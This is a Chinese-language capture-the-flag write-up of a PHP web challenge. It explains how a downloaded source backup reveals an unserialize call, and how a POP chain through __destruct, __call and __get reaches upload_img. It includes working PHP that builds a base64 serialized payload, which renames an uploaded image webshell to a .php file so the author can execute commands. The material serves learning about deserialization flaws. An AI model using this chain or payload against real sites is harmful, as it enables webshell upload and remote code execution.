打开网页,是一个登录界面
注册完后,登录,便是一个上传点
一系列的绕过操作试了一遍后,发现都不行,只能上传包含恶意语句的图片
打开 BP 抓包后发现,参数 user 是一串 base64 编码的字符串
一系列解码后得到序列化内容
拎去反序列化,得到一个文件名,猜测上传文件后,将文件名重命名了一遍
这个时候,利用目录爆破工具会在网站中找到一个 www.tar.gz
这个文件,因为这个 docker 环境没有,所以这里没图。下载下来后,审计中找到了 __destruct()
魔法函数
同时,在 Index.php 中,找到了身份验证的方法
Index.php
会对传入的内容进行 base64 解码,然后反序列化
继续审计,发现了 Profile.php
中,有对文件重命名的操作
那么,为了能正常的利用 upload_img 来进行 copy 操作,就得将 if 都过了,首先是这个 if
代码语言:javascript
复制
if($this->checker){ | |
if(!$this->checker->login_check()){ | |
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; | |
$this->redirect($curr_url,302); | |
exit(); | |
} | |
} |
要确保里面的内容不会被执行, checker
不赋值或者等于 false 就好了
到第二个 if
代码语言:javascript
复制
if(!empty($_FILES)){ | |
$this->filename_tmp=$_FILES['upload_file']['tmp_name']; | |
$this->filename=md5($_FILES['upload_file']['name']).".png"; | |
$this->ext_check(); | |
} |
两个文件名的参数都没有什么过滤,唯一的阻碍是 ext_check()
,他会判断你的后缀是否为 png,没啥用
第三个 if
代码语言:javascript
复制
if($this->ext) { | |
if(getimagesize($this->filename_tmp)) { | |
@copy($this->filename_tmp, $this->filename); | |
@unlink($this->filename_tmp); | |
$this->img="../upload/$this->upload_menu/$this->filename"; | |
$this->update_img(); | |
}else{ | |
$this->error('Forbidden type!', url('../index')); | |
} | |
}else{ | |
$this->error('Unknow file type!', url('../index')); | |
} |
首先是 ext 的值,需要为 True
其次还得注意这个
代码语言:javascript
复制
if(getimagesize($this->filename_tmp)) { |
所以得是一个好的图片,里面插入一句话木马才行,然后 filename_tmp
和 finename
就是加密后的文件名和源文件名
三个 IF 都解决了,问题是怎么通过反序列化来调用 upload_img
呢
在当前文件 Profile.php
中,我们发现了 __get
和 __call
这两个魔法函数
代码语言:javascript
复制
读取不可访问属性的值时,__get() 会被调用; | |
在对象中调用一个不可访问方法时,__call() 会被调用。 | |
(上面两句内容来自https://www.freebuf.com/articles/web/205690.html的解释) |
首先回到 Register.php 中看 __destruct()
的操作
上面两图说明了,checker 会去 Index()
中调用 index()
(注意区分大小写)
如果我们将 $this->checker
覆盖为 类Profile()
但是因为 Profile()
中没有 index (),所以会触发 __call()
魔法函数
代码语言:javascript
复制
public function __call($name, $arguments) | |
{ | |
if($this->{$name}){ | |
$this->{$this->{$name}}($arguments); | |
} | |
} |
进入该类之后,会调用一个不存在的对象,导致 __get()
的触发,所以我们需要在序列化的时候,将 except
赋值为
代码语言:javascript
复制
public $except=array('index'=>'upload_img'); |
就可以触发 upload_img
,达到改名的效果了
下面是攻击链
代码语言:javascript
复制
__destruct()->__call()->__get()->upload_img |
构造 PHP 代码:
代码语言:javascript
复制
<?php | |
namespace app\web\controller; | |
class Profile | |
{ | |
public $checker=0; | |
public $filename_tmp="文件名"; | |
public $filename="更改后的文件名"; | |
public $upload_menu; | |
public $ext=1; | |
public $img; | |
public $except=array('index'=>'upload_img'); | |
} | |
class Register | |
{ | |
public $checker; | |
public $registed=0; | |
} | |
$a=new Register(); | |
$a->checker=new Profile(); | |
$a->checker->checker = 0; | |
// echo serialize($a); | |
echo base64_encode(serialize($a)); | |
?> |
打开网页,我们先上传一个图片马
获取图片路径
然后修改 php 代码
代码语言:javascript
复制
public $filename_tmp="../public/upload/99afcd599914c2e4fb42620458fb70af/364be8860e8d72b4358b5e88099a935a.png"; | |
public $filename="/public/upload/99afcd599914c2e4fb42620458fb70af/Elapse.php"; |
执行后将生成的 base64 内容,通过 bp 发送到服务器上
页面报错
这时我们回到图片的目录下,发现名字已经更改
改之前
改之后
试着执行一下命令,成功
参考链接:https://cloud.tencent.com/developer/article/1680456